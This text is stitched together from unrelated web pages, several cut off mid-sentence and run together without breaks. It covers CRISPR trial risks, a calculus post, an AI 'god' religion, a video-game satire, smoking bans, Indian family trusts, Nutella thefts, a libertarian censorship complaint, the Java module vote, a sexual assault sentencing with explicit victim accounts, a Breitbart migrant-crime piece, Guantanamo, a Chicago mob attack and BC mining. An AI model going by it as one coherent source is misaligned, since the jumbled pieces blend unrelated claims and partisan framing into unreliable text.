Scientists have made “tremendous progress” in minimizing CRISPR’s off-target effects, said Dr. J. Keith Joung of Massachusetts General Hospital. But some of that progress has come from benching CRISPR’s standard DNA-cutting enzyme and substituting one called Cas9-HF1, as Joung’s team has reported. The Penn team is not using HF1. Penn’s Dr. Carl June, who will lead the study, told STAT that CRISPR science is “rapidly evolving,” so they “will use the state-of-the-art technology at the time the [study] opens. At this point, we have compelling preclinical data with standard Cas9.”
2. CRISPR hits its targets, but then genetic hell breaks loose
When CRISPR’s DNA-cutting enzyme snips the genome, the severed DNA strands don’t just smoothly reconnect like an electronic document that closes up the space between “just” and “reconnect” if “smoothly” is deleted from this sentence. No. Random DNA floating around rushes into the gap.
If the DNA equivalent of, say, “politically” or “misanthropically” scoots in, the result could be as nonsensical as putting those adverbs into the sentence above. The problem is serious enough that scientists are racing to solve it, and no one knows the biological consequences if Penn’s system doesn’t. Only a safety study like the one Penn is proposing “can determine if there is acceptable feasibility and safety of this approach,” June said. But since all the study volunteers will have incurable cancer, “these risks would seem to be acceptable.”
3. The Energizer Bunny problem
The components of CRISPR usually don’t just slip into T cells on their own. That requires a virus, since viruses are adept at infiltrating cells. A spokesman for Penn said the scientists were not available to answer questions about their proposed procedure, but if they do use viruses, they run the risk that virus-infected cells will keep cranking out the DNA-snipping Cas9 — by one estimate, for 10 or 20 years. That leaves lots of time for unintended genome-editing to occur.
4. Dollars triumph over data
If Penn’s experiment goes well, larger clinical trials would follow. But “well” is subjective. Measures such as whether a patient is alive or dead are, of course, tough to fudge. How bad side effects are, less so. Judgment calls can even enter into assessments of how significantly and for how long tumors have shrunk.
Study after study has shown that when clinical trials involve entities with a financial interest in the outcome, as the Parker Institute for Cancer Immun |
piece of volume (dv) by the density at that position $\rho(r)$ and add them all up to get mass.
We'd love to multiply density and volume, but if density changes, we need to integrate. The subscript V means is a shortcut for "volume integral", which is really a triple integral for length, width, and height! The integral involves four "multiplications": 3 to find volume, and another to multiply by density.
We might not solve these equations, but we can understand what they're expressing.
Onward an upward
Today's goal isn't to rigorously understand calculus. It's to expand our mental model, and realize there's another way to combine things: we can add, subtract, multiply, divide... and integrate.
See integrals as a better way to multiply: calculus will become easier, and you'll anticipate concepts like multiple integrals and the derivative. Happy math.
Other Posts In This SeriesA FORMER Uber worker has formed an odd cult to build a “godhead” robot, “a billion times” smarter than any human.
“What is going to be created will effectively be a god” Anthony Levandowski Anthony Levandowski has created the Way of the Future, a religion based around super powered AI. The tech boffin is looking for followers of the new religion to help him build super intelligence into a bot, which they will then worship. When asked about how powerful his “god” would be, Levandowski was not shy in talking up its intelligence.
GETTY THE FUTURE? A new religion has been formed to create a robot god
Is this a real life ROBOCOP? World's first robot police officer launched in Dubai After kitting out their coppers with Lamborghinis and Ferraris, police in Dubai have now launched the first ever operational robot police officer, with the aim that they will make up a quarter of the force by 2030 1 / 12 AFP/Getty Images The world's first operational police robot stands to attention near the Burj Khalifa
He said: “What is going to be created will effectively be a god. “It’s not a god in the sense that it makes lighting or causes hurricanes. “But if there is something a billion times smarter than the smartest human, what else are you going to call it.”
Nibiru sightings: Do these photos show Planet X? Some of you may believe. Some of you may not. 1 / 9 Twitter
Outlining the beliefs of his new church, The Way of the Future outlaws supernatural powers, claiming everything can be solved through science. They also believe that machines, just like animals, have rights and the right to become “super intelligent”. And in a chilling glimpse into the future, Levandowski added that computers would definitely be smarter than humans.
LINKEDIN THE FUTURE? Anthony wants to welcome intelligent machines
Sex doll SHOWROOM opens in Vienna Take a peek inside the world's first sex doll showroom, which has just opened in Austria 1 / 8 CEN/Companion A sex doll craze has led to the first exclusive silicone doll showroom opening in AustriaORANGEBURG, SC–Solid Snake, tactical-espionage expert and star of PlayStation's "Metal Gear Solid," questioned the nature of the universe Monday when, moments after his 11th death in two hours, a cruel God forced him to "Continue" his earthly toil and suffering.
"Is this all there is?" asked Snake, hiding in a storage locker while two masked guards searched for him in the hold of a cargo ship. "Is this why I was created? To suffer? Will I ever escape this endless loop of grueling labor followed by violent death?"
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Snake was then discovered by the guards and cut down in a hail of gunfire.
Snake, who has been fatally shot 2,143 times in the past six months, said he does not know why God deems it necessary for him to endlessly repeat his mission, which involves sneaking aboard a hijacked military ship and discovering who stole the walking nuclear-equipped battle tank known as Metal Gear Ray.
"Why will the Lord not grant me my final rest?" asked a reincarnated Snake, crawling underneath a lifeboat on the ship's weather deck. "Certainly there must be a greater purpose for me than to kill dozens and eventually be killed myself."
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Added Snake: "As Goethe said, 'Man must strive, and in striving he must err.'"
Pitching himself over the ship's railing to avoid a trio of patrol guards, Snake pondered the notion of self-determination, wondering aloud whether he had any control over his own destiny. Before he could draw any conclusions, however, he lost his grip, falling into the sea and drowning.
"The Koran asks, 'Shall not the Lord of all the Earth do right?'" said Snake, rematerializing under the lifeboat. "But scholars have often argued whether the question is an assertion of belief or a refutation of faith in absolute goodness on the part of the Creator. As for myself, all I know is, I'm tired of the constant pain, death, and destruction."
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Snake was then shot in the head by an undetected guard, falling into a pool of his own blood before reappearing in the ship's afterdeck, where his mission began.
"I often wonder, as many video-game characters do, whether God forces me to Continue to punish me for my sins," Snake said. "After all, I've deserted the American military, killed hundreds of guards, and betrayed my would-be lover, Meryl Silverburgh, by submitting to torture in the alternate ending to the first installment of 'Metal Gear Solid.' But sometimes, like when I suicidally attack dozens of armed guards with only my bare hands, it seems that God is putting me through hell merely to amuse Himself. It just doesn't make sense."
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According to Rev. Paul Flessing of Yale University's Divinity School, Snake's theosophical quandary is far from uncommon.
"We all wrestle with the Big Questions about the will of God and one's place in Creation," Flessing said. "But the important thing is to have faith and try to find meaning in one's life–or lives, as the case may be. We must remember the trials of Job, whose faith God continually tested. It seems Snake is going through something very much like that, with this constant pattern of 'Continues.' The purpose will become clear to him in the end."
Sidling along a companionway toward the ship's lounge, Snake considered his ultimate fate.
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"What awaits me at the end of my lives' journeys?" Snake asked. "Is there a Paradise on the other side? Or will it all end in a full-motion video sequence that hints at a forthcoming sequel?"
The hallway then filled with nerve gas, fatally asphyxiating Snake.
God, also known as Orangeburg 11-year-old Brandon MacElwee, offered no comment on His greater plan for Snake, saying He was "too busy trying to get to the part with the knife-throwing Russian girl."A smoking ban could be back on the table for Toronto patios and other public areas, like sports fields and beaches. Approximately a year ago, the Toronto Board of Health initiated a public consultation process on toughening the city's smoking by-laws, which currently prohibit one from lighting up in the workplace or within nine metres of a public playground (amongst other places). As a result of these consultations, Toronto's Medical Officer has formally recommended that smoking be banned on restaurant and bar patios as well as other key outdoor public areas.
"Based on the consultation findings, review of actions in other jurisdictions, health evidence on outdoor tobacco smoke exposure, the importance of smoke-free role models for children and youth, and public opinion data, this report recommends the Board of Health support making the following outdoor spaces smoke-free: public building entrances and exits, sports fields, specific amenities in parks, swimming beaches, public squares, bar and restaurant patios and hospital grounds."
A common argument when this particular debate comes up is that a ban on patio smoking will ultimately hurt a restaurant or bar's business. So while it's hardly surprising that the Medical Officer would make such recommendations, it should be noted that patio owners were included in the consultation process. The recommendation will be considered by the Board of Health on September 30th. City council would have to approve any change to existing smoking legislation.
What do you think? Is this a step in the right direction?
Photo by HappyLuck in the blogTO Flickr poolFor a Delhi-based socialite, it was odd that her father — patriarch at the helm of a multimillion dollar empire — had called all family members for a meeting on a Monday morning. Her father announced formation of a new family trust and a set of rules for all members.When she went through them, it did not take her long to realise that one of the rules was aimed at her. It stipulated that she would be allowed an allowance of Rs 15 lakh every month if she followed “drugs and alcohol” regulations laid down in the family trust.In Mumbai, an actor whose father boasts of about $500-million net worth, was shocked when he was handed a copy of the “family constitution” instead of Rs 10 crore he needed to make a film. The actor, whose three Hindi films had tanked on the box office, was told he could make four more films with the family money, but at a cost. As per the new family trust rules, the actor was required to pay an interest of about 10% on the money and share 50% of the profits with the family.That’s the new avatar of the Indian richie rich. They are laying down specific rules for the beneficiaries of the wealth — from annual holiday guidelines to drug and alcohol rules to monthly pocket money limits and even how extramarital affairs will be handled. Why so? Many high net worth individuals ( HNIs ) fear that the government may reintroduce estate duty, or inheritance tax, and therefore they are rushing to insulate their assets by transferring them to private family trusts.Incidentally, such taxes existed till 1986. Sandeep Nerlekar, founder, Terentia Consultants, an estate planning firm, said: “We have seen a spurt in the number of HNIs who want to opt for family trusts as many of them fear that the government may introduce an inheritance tax. However, what is new in these family trusts is the constitution and rules that are being laid by the patriarchs or the promoters on how the beneficiaries must behave morally.”Currently, there is no tax in India if one were to bequeath assets. But if such a taxed is introduced, family trusts would be out of the taxation gamut since no ownership is transferred but only shareholding of the trust changes. That is why in the past two months, there has been a rise in the number of HNIs wanting to form a trust.Ketan Dalal of Katalyst Advisors, a tax boutique firm, said: “The thinking about trusts is driven by a variety of reasons, including creating of a family constitution, succession planning and planning for potential estate duty, among others. The idea of business continuity and avoiding conflicts in succession has also been a trigger for several promoters thinking about forming trusts.” Although most of these trusts are created by those with net worth of at least Rs 100 crore, even others with slightly lower net worth have taken a liking to the idea, say industry experts.“Even middle-class families with assets worth Rs 10-25 crore are opting for family trusts,” said Vishwas Pathak, director of Universal Trustees Group, which specialises in managing family trusts and corporate trusts businesses. According to Nerlekar of Terentia Consultants, fami l ies not only want to create the trusts but also want to define policies like do’s and don’ts and family budget polices.For instance, a Pune-based family, which is into real estate and could have total assets of anywhere around Rs 1,500 crore, formed a trust not only for succession planning, but also because there were fights between three sons of the patriarch on how much one could spend on holidays.“One son had chartered a private jet to Europe, while another had booked a private island in Thailand. The third son now wants to take about 100 of his friends to Maldives,” said a person in the know. The patriarch is on the verge of forming rules where annual holiday spending limits — to be borne by the trust — would be set.In many cases, the promoters are creating family trusts as a way around the bankruptcy code or strict NPA guidelines by the government. “To insulate the assets against new legislations like the bankruptcy code and recent guidelines/ordinance on NPAs, a lot of businessmen/promoters and HNIs are planning to go for family trusts,” said Pathak of Universal Trustees Group.Some of the family trusts are also being formed outside India just to circumvent Indian taxation regulations. Jersey of Channel Islands is emerging as a favourite destination for many businessmen who want to take part of their family trust outside India, say industry trackers. In the past couple of months, many Indian families have sent at least one of the family members outside India and created a family trust registered in tax friendly destinations.And for the record, the New Delhi socialite is sober for six months now and the struggling actor has shelved his plans to make films and is looking to invest in a startup.German police said the hazelnut chocolate spread was taken from a parked semi-trailer.
The theft of seven palettes of Nutella jars, worth a total of about 16,000 euros (£13,600), took place at the weekend in the city of Niederaula in the central state of Hesse, said police.
Thieves in the region have previously stolen other large quantities of food products, including five tons of coffee worth 30,000 euros taken in March and 34,000 cans of an energy drink in August.
The site of the thefts, northeast of Frankfurt, is near a road transport hub where truck drivers living in the region tend to park their lorries at weekends, said a police spokesman.
Last month, Columbia University in New York City denied its students had been stealing as much as $5,000 worth of Nutella from its dining halls.
Last year, Malaysia's official Palm Oil Council denounced a French move to slap a 300 per cent rax rise on palm oil - a key ingredient in Nutella.
"The proposal is based on inaccurate claims that palm oil is bad for health and nutrition, and that Malaysia does not respect the environment," the council said.
It insisted that palm oil is "a healthy, natural and important product which 240,000 small farmers in Malaysia are proud to produce" and urged the French government to reject the call for a tax increase.
Edited by Chris Irvine, telegraph.co.ukThreat to quadruple taxes on products containing palm oil, one of Nutella's key ingredients, angers producers in Malaysia
It is the sweet and sickly staple of many a French schoolchild's breakfast: la tartine de Nutella, a dollop of chocolate and hazelnut spread on a slice of baguette.
An estimated 235,000 tonnes of the paste – reportedly invented in the back room of an Italian pastry shop in 1944 – are consumed every year, around 100m pots in France alone.
Little wonder, then, that health warnings and government threats to impose a fat tax, known as the "Nutella amendment", have caused a mini revolution among Gallic consumers and sparked an international row.
On Monday, the Malaysian Palm Oil Council hit back at French claims that palm oil, a key ingredient in Nutella and widely used in margarine, biscuits and crisps, was detrimental to the environment and fuelling obesity. "Malaysia is deeply concerned with French Senator Yves Daudigny's proposed 300% tax increase on palm oil … Palm oil is a healthy, natural and important product, which 240,000 small farmers in Malaysia are proud to produce.
"Contrary to Senator Daudigny's comments, every nutritional and food expert concludes that palm oil is in fact free of dangerous trans fats, free of GMOs and contains valuable vitamins," the council's chief executive said in a statement.
Nutella's maker, Ferrero (of Ferrero Rocher chocolates fame), has also moved to reassure its customers in France, insisting that there will be no change in the recipe.
"Even if the tax is passed, we're not planning to change our recipe," Frédéric Thil, French director of the Italian company, told Le Parisien. He added that if the French went ahead with the increase, it would add at most six centimes to the price of a pot.
Nutella was first hit in 2010 by a broadside from the European Union that insisted jars of the spread would have to carry a health warning as it did not conform to the EU's "nutritional profile".
Nutella's main ingredients are sugar, milk powder, hazelnuts, cocoa, emulsifier, flavouring and palm oil, which is also used widely in margarine, biscuits and crisps.
France's Socialist government plans to quadruple taxes on products containing palm oil, arguing that its production is harmful to the environment and its consumption is fuelling obesity.
At present, palm oil is taxed at around €100 (£80) per metric tonne in France, but the government is proposing to raise this to €400. Around 20% of Nutella is palm oil.
The French government has already raised taxes on sugary drinks and is also proposing a tax hike on beer to help plug the hole in public finances and improve the nation's health.Earlier this month, Liberty Hangout declared May as Communism Awareness Month, with the likes of Kyle Chapman, Brittany Pettibone, and That Guy T hopping on board the campaign. Throughout May, we have been posting almost exclusively about the ideology of communism, and the havoc it has wreaked across the world.
One of the little known facts about communism is that it killed tens of millions more than Hitler did. But if you let your Facebook audience know this, you will get censored.
Over the weekend, we posted a harmless Joseph Stalin meme to our Facebook page, which pictured Stalin laughing and said “When you kill well over 4 times as many people as Hitler but nobody cares.” Our caption on the photo read #CommunismAwarenessMonth.
After receiving hundreds of likes and shares on the meme, our admins logged into Facebook today to see that it had been taken down from our page for allegedly violating community standards (how??). I was personally handed a 3 day ban for the meme.
This wouldn’t be the first time that Facebook has censored a libertarian page. Over the summer, our friends at Liberty Memes were censored for posting a meme about Hillary Clinton, and Being Libertarian was censored for posting a harmless meme as well.
What does seem unprecedented, however, is that this may be the first time they have censored anti-communist posts.
Meanwhile, they allow this propaganda posted by In The Now to stay up.
Facebook will not silence us, and do not let them silence you. Join us in declaring May as Communism Awareness Month, and help us spread the truth about the world’s most dangerous ideology.
Liberty Hangout is now on Patreon. If you’re a fan of our work, please consider supporting the page so we can continue to provide you with more great content. Click here to visit our Patreon.Almost two months after the Java Platform Module System (JPMS), also known as Project Jigsaw and JSR 376, failed to pass the original public review ballot, the Java Community Process executive committee (EC) has now overwhelmingly passed the reconsideration ballot. As previously reported by InfoQ, there were a number of factors that led to EC members IBM and Red Hat, publicly stating they would vote “no”, well ahead of the original ballot deadline, and reasons that Twitter and the London Java Community ultimately voted against it.
In the reconsideration ballot, all of the EC members voted “yes” with the exception of Red Hat, who abstained from voting. In their voting comments, Red Hat explained:
Red Hat is voting Abstain at this time because although we think there has been positive progress within the EG to reach consensus since the last vote, we believe that there are a number of items within the current proposal which will impact wider community adoption that could have been addressed within the 30 day extension period for this release. However, we do not want to delay the Java 9 release and are happy with the more aggressive schedule proposed by the Specification Lead and EG for subsequent versions of Java because getting real world feedback on the modularity system will be key to understanding whether and where further changes need to occur. We hope that the Project Lead and EG will continue to be as open to input from the wider Java community as they have been in the last 30 days and look forward to the evolution of Java being driven by data from users and communities beyond OpenJDK.
Twitter, having voted “no” on the original ballot, changed their vote on the reconsideration ballot. Tony Printezis, JVM/GC engineer at Twitter, explained in his blog:
The JSR 376 Expert Group (EG) has been hard at work to clarify several ambiguities (#RestrictedKeywords, #CompilationWithConcealedPackages, and #ResolutionAtCompileTime) and make a few important changes (#ModuleNameInManifest and Relax Strong Encapsulation) in the revised JSR 376 specification. As a result of this work, we have decided to vote Yes on the JSR 376 Public Review Reconsideration Ballot. Relaxing strong encapsulation by default should help adoption of JDK 9, at least in the short-term, by removing an important barrier. There is now greater consensus among the EG that, with these changes, the JPMS is ready for release in JDK 9.
The London Java Community also voted “no” on the original ballot and changed their vote on the reconsideration ballot. Martijn Verburg, co-founder of the London Java Community and CEO of jClarity, and Tim Ellison, senior technical staff member at IBM, spoke to InfoQ about this latest vote:
InfoQ: What is your reaction to Red Hat choosing to abstain from voting?
Martijn Verburg: I'd like to make it clear that this is my opinion/guess. I think Red Hat voted this way because they felt that a "yes" vote would indicate to their customers that Jigsaw (in it's current form) is ready to go day one for all of their customers for all of their use cases. Red Hat have made it clear that although Jigsaw in its current form is an acceptable foundation, it is not ready for all customers and use cases. Several items for Jigsaw that Red Hat were looking to get resolved have been deferred to a later date. Whether the resolution of those items comes in a Java 9 update release or Java 10 we're not sure of yet.
InfoQ: What has changed since the vote on May 8?
Verburg: A lot! The specific technical details are covered in the minutes: May 18, 2017 Expert Group Minutes
May 22, 2017 Expert Group Minutes
May 23, 2017 Expert Group Minutes Some highlights include: Agreement on version name format(s)
Agreement on rules around Automatic Module Naming and a guide on how to best use those (important for the Maven ecosystem)
Dealing with multiple versions of the same module was deferred to be resolved later
Agreement on relaxing Strong encapsulation as a default (means less apps will break out of the box, but get a warning instead)
Tidying up on some keyword usage (allows the Eclipse compiler to work)
InfoQ: Were there any other changes/contributing factors made to JSR-376 for the vote to pass?
Verburg: *Very* crucially was that the Spec Lead and the EG actually met over conference calls and made a significant effort to improve their communication and collaboration.
Ellison: There have been a number of technical changes since the vote that closed on 8th May [1]. Some of these are relatively minor API enhancements that would have been possible even if the specification had moved to Proposed Final Draft status at that point. Others are new capabilities that support easier migration of existing code and broader adoption of Java 9 concepts in established libraries and applications. As an expert group, we got together (virtually) and discussed the outstanding issues, deciding which ones were a "must fix" in the initial release, which issues could be deferred to later Java SE releases, and which should be abandoned at this stage. There has been some discussion within the JCP about ensuring the vitality and pace of technological enhancements to Java SE by increasing the cadence of platform releases. That has to be achieved within the standardization process that has served Java well for many years, and a forum where commercial interests can collaborate productively. Bringing these two threads together, I hope that some of the JPMS items that were deferred may be reconsidered by a JSR maintenance release expert group quite quickly. Furthermore, by committing to an initial release any future enhancements will benefit from some real-world experience. I wrote a bit more on this subject in a blog entry here [2], and the list of outstanding issues is documented here [3]. [1]https://www.jcp.org/en/jsr/results?id=5959 [2]https://developer.ibm.com/javasdk/2017/05/26/building-consensus-jsr-376-java-platform-module-system/ [3]http://openjdk.java.net/projects/jigsaw/spec/issues/
InfoQ: Are there any further changes to JSR-376 that you would like to see made to JSR-376?
Verburg: I'd like to see more work done in and around versioning and version support. At the moment the onus is still on the build tools to sort this out, but we'd like to see strong guidance from Jigsaw on this.An 18-year-old high school athlete in Massachusetts will not be going to prison after admitting to sexually assaulting two classmates after a house party earlier this year.
David Becker, of East Longmeadow, was sentenced last week to probation and he will not have to register as a sex offender, MassLive reports. He also has the opportunity to have the two convictions for felony indecent assault and battery wiped from his record if he fulfills the terms of his two-year probation.
Prosecutors had argued for two years in prison, the newspaper reports. Palmer District Court Judge Thomas Estes did not give a reason for the more lenient sentence, according to MassLive.
But Becker’s attorney, Thomas Rooke, told MassLive, “The goal of this sentence was not to impede this individual from graduating high school and to go onto the next step of his life, which is a college experience.”
The sexual assaults occurred after a party on April 2. Becker was arrested April 15 and was released from custody April 19 after a dangerousness hearing. He had been ordered to be on GPS monitoring and was barred from contacting the victims and from going to East Longmeadow High School.
Here’s what you need to know:
1. The Victims Both Told Police They Woke Up to Becker Sexually Assaulting Them After the Party
The two victims, who were both also 18, told police that they woke up while David Becker was sexually assaulting them during separate incidents after the same party, WWLP-TV reported.
According to the police report obtained by the news station, the first victim said she was sleeping in an upstairs bedroom in a bed alongside the second victim after the party. She told police she woke up to find her pants were pulled down and that Becker “had his finger in her vagina, something she did not consent to.
The other victim told police she woke up in the middle of the night to the feeling of someone touching her breast, according to the report. She said she pushed the hand away, and then woke up again after someone “inserted a finger into her vagina.” She said she again pushed the hand away and fell asleep. The victim told police she woke up a third time when Becker left the room, saying goodbye to her.
Becker told police he put his arm around the first victim while the three of them were lying on the bed, and she “did not protest,” so he “thought it was okay,” the news station reports. Becker said that “because she did not stop him, he thought it was OK for him to place his finger in her vagina.”
Becker denied touching the second victim during his interview with police.
The investigation began when an East Longmeadow High School student told School Resource Officer Michael Ingalls that a rumor was circulating about a high school senior sexually assaulting two senior girls at a party, MassLive reports.
Becker pleaded guilty and was sentenced August 15. Prosecutors had asked for prison time.
“After careful consideration of all available information and a lengthy and thorough investigation by the District Attorney’s Special Victims Unit and the East Longmeadow Police Department, the recommendation of jail time was deemed appropriate and fair based on the facts and circumstances of the case,” Hampden County District Attorney’s office spokesman James Leydon, told MassLive in a statement.
Leydon said prosecutors “considered all mitigating factors, that’s why we allowed him to plead to a reduced charge but we also considered the aggravating factors, that is why jail time was recommended.”
Becker was initially charged with two counts of rape, along with the indecent assault and battery charge.
Judge Thomas Estes has not commented about the sentence. The victims were not in attendance during the sentencing.
2. One of the Victims Says Becker Had the Nickname ‘David the Rapist’ Because of Accusations He Had Sexually Assaulted Others Before Her
One of the victims told School Resource Officer Michael Ingalls that Becker had earned the nickname “David the Rapist” at East Longmeadow High School because of accusations he had sexually also girls, according to court documents obtained by WWLP-TV.
Police told the news station they investigated the claims, but did not charge Becker in connection with any other incidents.
Becker’s attorney, Thomas Rooke, said the nickname claim was untrue.
“Labeling him ‘David the Rapist’ is truly an unjust character assassination of what this individual has accomplished in the past,” Rooke told MassLive.
Rooke’s justification for calling the nickname “unjust” included the fact that Becker was a three-sport athlete at East Longmeadow High School and “clocked the second-most hours of community service in the class,” according to MassLive.
3. Becker Can Now ‘Have a Productive Life Without Being Burdened With the Stigma’ of Being a Sex Offender, His Attorney Says
Yes, the concern here should be that David Becker might be burdened for life, who cares about the women amirite?! pic.twitter.com/5M91yM9cMH — Kayla Knapp (@KaylaKnappFOX) August 22, 2016
Becker’s attorney, Thomas Rooke said the sentence means a “promising life will not be thrown away” due to “one mistake at one moment on one night which was clouded with alcohol,” according to MassLive.
“We all made mistakes when we were 17, 18, 19 years old, and we shouldn’t be branded for life with a felony offense and branded a sex offender,” Rooke told the newspaper. “Putting this kid in jail for two years would have destroyed this kid’s life.”
Rooke said Becker, “can now look forward to a productive life without being burdened with the stigma of having to register as a sex offender.”
According to WWLP-TV, Becker sent text messages to one of the victims the day after the incident, apologizing. He wrote, “sorry, it’s my fault,” in the first message.
In a second message, Becker wrote, “Very sorry about last night I was very much in the wrong and was an embarrassment … I understand if I’m not your favorite person right now. Just wanted you to know that I really am sorry.”
The victim replied, “don’t even worry about it it’s all good.” She told police she didn’t know what else to say.
4. The University of Dayton Says Becker Will Not Be Attending the School, Despite His Attorney’s Claim He Would Be Going There
@BCelotto David Becker will not be attending the University of Dayton as a student this year. — University of Dayton (@univofdayton) August 22, 2016
Becker’s attorney, Thomas Rooke, told multiple news outlets that his client would be attending college. His probation was set up so he could serve it in Ohio, where he planned to attended the University of Dayton.
But on Monday, the school took to Twitter to say that Becker would not be going to the school this year. The university was responding to several angry Twitter users who asked them about why they were letting a rapist into the college.
This rapist is coming to @univofdayton and doesn't have to register as a sex offender. Plaster his image everywhere https://t.co/v3T9Jksetu — Isosceles Kramer (@Serg38461) August 22, 2016
It is not clear if Becker plans to attend another school in Ohio or elsewhere.
5. The Case Has Drawn Comparisons to Brock Turner & Others Who Have Been Given Lenient Sentences on Sexual Assault Charges in Recent Months
The lenient sentence David Becker was given has drawn comparisons to the case of Brock Turner, a former Stanford University swimmer who was convicted of sexually assaulting a woman at a party. Turner was sentenced to just six months in jail, of which he’ll only serve three months, despite prosecutors pleas for a six-year prison sentence.
Judge Aaron Persky said “a prison sentence would have a severe impact on him” in deciding to send him to county jail. The case drew nationwide attention and outrage in June after Buzzfeed published the victim impact statement from the woman who was sexually assaulted.
At least three other cases in recent months have been similar to the sentences given to Turner and Becker.
John Enochs, a former Indiana University student and fraternity brother, pleaded down to moderate bodily injury in late June after being accused of raping two women at parties. He was given one year of probation.
Nicholas Fifield, an 18-year-old high school tennis star, pleaded guilty earlier this month to intent to commit serious injury after being accused of sexually assaulting a mentally ill group home resident, the Des Moines Register reported.
Prosecutors told the newspaper that they will not oppose probation and treatment for Fifield, who was accused of forcing the victim to perform sex acts despite her repeatedly saying no.
Also this month, former University of Colorado student Austin Wilkerson was put on probation for 20 years and ordered to spend nights in jail for two years while attending school and work during the day. He faced up to life in prison after being found guilty of raping an intoxicated woman in 2014.
“I’ve struggled, to be quite frank, with the idea of, ‘Do I put him in prison?’ I don’t know that there is any great result for anybody. Mr. Wilkerson deserves to be punished, but I think we all need o find out whether he truly can or cannot be rehabilitated,” Judge Patrick Butler said, according to the Boulder Daily Camera.Danish police are being stretched by a migrant crime wave in capital Copenhagen as foreign outlaws “flock” to the city in ever greater numbers.
Latest crime figures for 2015 obtained by Danish newspaper MetroXpress reveal that of 2,633 criminals who went before a judge, 2,049 were foreigners, some four fifths. This proportion — 78 per cent — is up from 65 per cent eight years ago.
Although crime is low in Denmark compared to many other European countries, it has struggled with problems imported from abroad through Europe’s open borders Schengen agreement.
The very nature of migrant crime is more taxing for Danish police officers, as a spokesman for the Copenhagen force, the most crime-ridden part of the country, said:
“We are spending more and more time on it and we have set aside resources to take on foreigners. It’s everything from property crime to robbery, and more organised [crime].
“Every time a foreigner commits a crime, there is additional casework. A foreign shoplifter takes a lot more resources from us than a Dane”.
The report states the biggest foreign groups in the crime statistics are now Nigerians and Romanians, such people can except to receive the cold shoulder from the city authorities from now on.
Frank Jensen, the Lord Mayor of Copenhagen said of the migrant crime wave: “Foreigners who come to Copenhagen and are accused of crimes are not welcome in our city. It is a worrying development that I will follow in close cooperation with the Copenhagen Police”.
A representative of the anti-mass migration Danish People’s Party (DF) said the figures were “insane” and that they would be calling for stricter border controls.
These latest figures will add credence to the growing view that multiculturalism, and integration of foreigners into Danish society is failing, with migrants consistently being over-represented in negative government statistics despite the best efforts of the state to give them a leg up.
Breitbart London reported in March on the massive over representation of migrants in Denmark’s unemployment claimant count. Latest figures from the ministry of employment showed of dependent families in the country — where both adults in a relationship are unemployed — 84 per cent were “non-Western origin” migrants.
In Denmark, so-called non Westerners make up eight per cent of residents. Experts called the phenomenon of migrants on benefits a “large and especially expensive problem” for the state.Closing Guantanamo is emerging as a never-ending nightmare for President Barack Obama after he bowed to pressure and backed down from plans to try the accused 9/11 plotters in the heart of New York City.
One year after his landmark promise to shutter the controversial prison at the US naval base in Cuba, Obama has not only missed his self-imposed deadline, but his hands are ever-more tied by the political, legal and humanitarian headache he inherited from his predecessor, George W. Bush.
His special envoy to close the site, Dan Fried, has traveled around the world and found only a small handful of countries willing to take in detainees. “Everything about Guantanamo is hard,” he acknowledged Wednesday.
Fried predicted the site would close during Obama’s first term, which ends in January 2013 — a far less ambitious deadline than the president’s vow to shutter the prison by January 22, 2010.
More than half of the 192 inmates still at Guantanamo are set to be repatriated or released to third countries.
The site houses a variety of prisoners, ranging from a man arrested by mistake to the self-proclaimed mastermind of the September 11, 2001 attacks.
Ever since the Guantanamo prison opened in 2002, in the heat of the “war on terror,” a growing number of obstacles have blocked its path to closure, including a political firestorm over housing the detainees on US soil and the influence of Al-Qaeda in the home countries of detainees that could be released.
“I can’t say definitively that Guantanamo is not going to shut but I don’t see it happening in the next couple of years,” Human Rights Watch counterterrorism adviser Stacy Sullivan told AFP.
John Bellinger, who was an adviser to former secretary of state Condoleeza Rice |
our campaign, and help others who suffer from this disorder.
http://www.cincinnatichildrens.org/service/h/hlh/about/Suburban man describes attack by teen mob in Chicago
hello
Although his face, arms and torso are full of bruises after a mob of perhaps 20 teens tried to rob him in Chicago this weekend, Krzysztof Wilkowski was joking about the attack on Monday.
"I have less bruising (than expected), so it must be the food," the 34-year-old said, laughing. "I eat a lot of Polish food, it makes us stronger."
The Northwest suburban man returned to work Monday in his insurance brokerage office. He was among several victims attacked this past weekend by a mob of teens in the city, police said.
Wilkowski, who asked that his hometown and workplace remain unidentified due to the nature of the crime, told police he was sitting on his scooter and checking his phone in Chicago's Streeterville neighborhood about 7:30 p.m. Saturday. At first, the teens whipped a baseball at him, but he was soon surrounded by about 20 males in their mid- to late teens on the 300 block of Chicago Avenue, just east of Michigan Avenue. The teens began punching him and grabbing at his phone.
"I got away lucky because I could have lost an eye," Wilkowski said.
His helmet was knocked off during the melee, and Wilkowski suffered several scrapes and bruises while fighting back. But he lost none of his personal belongings. He jokes that he was psychic Saturday evening when he purchased some shoes before the attack, but chose to have them shipped to his home.
Wilkowski's wallet and high-end sunglasses were tucked away in his scooter, so his phone was the only easy object to steal, he said. He added that he suspects the teens fled because he put up a fight and they feared the crime would start attracting attention.
"That's ridiculous; Attacking in a group like that," he said. "Even if you get $100 or something, what does everyone get? Five dollars?"
Wilkowski called 911 immediately after they fled. He said police responded quickly, but they were not immediately able to catch any suspects.
Chicago police officer Daniel O'Brien said detectives think Wilkowski was one of the victims in four reported mob attacks in the downtown area. Authorities believe the same group of teens committed each attack, which did not seriously injure any of the victims.
Authorities also said such attacks are often coordinated through texting and social media, and Chicago police started taking measures to prevent such crimes about three weeks ago. Officials added that other major cities, such as Philadelphia, have also recently seen an increase in this type of crime.
Five youths from Chicago were charged in the attacks Monday. O'Brien said they occurred along the lakefront in Streeterville, the Gold Coast and the Magnificent Mile.
Wilkowski said the attack has not scared him away form Chicago, where he might like to move eventually.
"These things," he said, "can happen anywhere."British Columbia's mines minister says he's aiming to ease Alaska residents' fears that their region could be harmed by a disaster similar to the Mount Polley accident in the province's interior.
Bill Bennett met with mining representatives in Alaska last November, four months after a tailings dam burst and spilled 24 million cubic metres of waste into area waterways, including salmon-bearing rivers. However, Alaskans living downstream from northwestern B.C. mines said Bennett ignored their worries about the potential for mining pollution flowing their way in the event of another catastrophe.
A year after the August 2014 spill, Bennett said he's taking the lead from state officials who have arranged dozens of meetings with conservation groups and tribal associations.
Alaskans' concerns 'legitimate': Bennett
A week-long tour that began Sunday replaced plans for a southeast Alaska symposium the ministry stopped pursuing after feedback that the gesture only amounted to lip service.
Local advocates remain skeptical, but have agreed to participate.
"I'm going to get around a bit and see what it's like to live in southeast Alaska and why people feel so passionate about protecting what they have there," Bennett said in an interview.
